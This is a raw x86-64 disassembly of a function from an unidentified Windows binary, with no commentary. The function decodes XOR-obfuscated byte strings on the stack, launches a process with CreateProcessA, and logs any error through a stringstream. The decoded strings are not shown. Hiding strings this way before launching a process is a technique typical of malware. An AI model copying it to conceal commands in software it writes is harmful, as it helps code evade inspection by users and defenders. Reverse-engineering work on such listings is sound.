mov byte [rbp - 0x3d], r10b
xor r11b, r9b
mov byte [rbp - 0x3c], r11b
xor bl, r9b
mov byte [rbp - 0x3b], bl
xor dil, r9b
mov byte [rbp - 0x3a], dil
xor sil, r9b
mov byte [rbp - 0x39], sil
xor r14b, r9b
mov byte [rbp - 0x38], r14b
xor r15b, r9b
mov byte [rbp - 0x37], r15b
xor r12b, r9b
mov byte [rbp - 0x36], r12b
xor r13b, r9b
mov byte [rbp - 0x35], r13b
mov byte [rbp - 0x34], 0
xor r12d, r12d
mov ecx, r12d
lea r13, [0x14075f770]
nop dword [rax]
movzx eax, byte [rbp + rcx - 0x4f]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x140067130
lea rdi, [0x14010e59c]
mov qword [0x14075f760], rdi
mov dword [0x14075fe80], r12d
mov dword [0x14075fe8c], r12d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r12d
lea r14, [0x14010e5a0]
mov qword [0x14075f768], r14
jmp 0x140067185
lea rdi, [0x14010e59c]
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xc0], rax
mov dword [rbp + 0x60], 0x68
or dword [rbp + 0x9c], 0x100
mov word [rbp + 0xa0], r12w
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x1e8]
call fcn.14006d360
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rdx, qword [rbp - 0x50]
lea rax, [rbp + 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
lea rcx, [rbp - 0x50]
call fcn.140049850
test ebx, ebx
jne 0x14006742a
lea rax, [0x140111b50]
mov qword [rbp + 0xd0], rax
lea rax, [0x140111300]
mov qword [rbp + 0xe0], rax
lea rcx, [rbp + 0x168]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x310], 7
xor r8d, r8d
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xd0], rax
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xcc], edx
lea rcx, [rbp + 0xe8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x150], r12
mov dword [rbp + 0x158], r12d
mov byte [rbp - 0x30], 0x5f
mov al, 0x3a
mov cl, reloc.WLDAP32.dll_Ordinal_45
movzx edx, cl
mov r8b, Ordinal_50
movzx r9d, cl
mov r10b, 0x7f
mov r11b, reloc.WS2_32.dll_WSAGetLastError
mov bl, 0x27
mov dil, 0x68
mov sil, 0x6b
xor r15d, r15d
xor al, 0x5f
mov byte [rbp - 0x2f], al
xor cl, 0x5f
mov byte [rbp - 0x2e], cl
xor dl, 0x5f
mov byte [rbp - 0x2d], dl
xor r8b, 0x5f
mov byte [rbp - 0x2c], r8b
xor r9b, 0x5f
mov byte [rbp - 0x2b], r9b
xor r10b, 0x5f
mov byte [rbp - 0x2a], r10b
xor r11b, 0x5f
mov byte [rbp - 0x29], r11b
xor bl, 0x5f
mov byte [rbp - 0x28], bl
xor dil, 0x5f
mov byte [rbp - 0x27], dil
xor sil, 0x5f
mov byte [rbp - 0x26], sil
mov byte [rbp - 0x25], r15b
lea rdx, [rbp - 0x2f]
lea rcx, [rbp + 0xe0]
call fcn.140071310
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xe8]
call fcn.14006d360
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rcx, qword [rbp - 0x50]
sub r13, rcx
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x140067380
lea rax, [0x14010e59c]
mov qword [0x14075f760], rax
mov dword [0x14075fe80], r12d
mov dword [0x14075fe8c], r15d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r15d
mov qword [0x14075f768], r14
lea rcx, [rbp - 0x50]
call fcn.140049850
nop
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xd0], rax
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xcc], edx
lea rcx, [rbp + 0xe8]
call fcn.14006aae0
lea rcx, [rbp + 0xf0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x168]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x1400674e0
movdqa xmm1, xmmword [0x140112420]
movdqu xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x4f], al
xor byte [rbp - 0x4e], cl
xor byte [rbp - 0x4d], cl
xor byte [rbp - 0x4c], cl
xor byte [rbp - 0x4b], cl
xor byte [rbp - 0x4a], cl
xor byte [rbp - 0x49], cl
xor byte [rbp - 0x48], cl
xor byte [rbp - 0x47], cl
xor byte [rbp - 0x46], cl
xor byte [rbp - 0x45], cl
xor byte [rbp - 0x44], cl
xor byte [rbp - 0x43], cl
xor byte [rbp - 0x42], cl
xor byte [rbp - 0x41], cl
mov byte [rbp - 0x40], 0
mov rcx, r12
nop
movzx eax, byte [rbp + rcx - 0x4f]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x140067480
mov qword [0x14075f760], rdi
mov dword [0x14075fe80], r12d
mov dword [0x14075fe8c], 0
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], 0
lea rax, [0x14010eb78]
mov qword [0x14075f768], rax
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, qword [rbp + 0x1d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x1d0], rax
mov rax, qword [rbp + 0x1d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x1cc], edx
lea rcx, [rbp + 0x1e8]
call fcn.14006aae0
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x268]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov r15, qword [rbp + 0x48]
mov r8, qword [rbp + 0x20]
mov r8, qword [r8 + 8]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x20]
call fcn.140077dd0
mov edx, 0x60
mov rcx, qword [rbp + 0x20]
call fcn.1400ed628
nop
test r15, r15
je 0x1400675a0
mov rdx, qword [rbp + 0x58]
sub rdx, r15
and rdx, 0xfffffffffffffff8
mov rax, r15
cmp rdx, 0x1000
jb 0x140067598
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140067598
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.1400ed628
mov rbx, qword [rsp + 0x428]
add rsp, 0x3d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret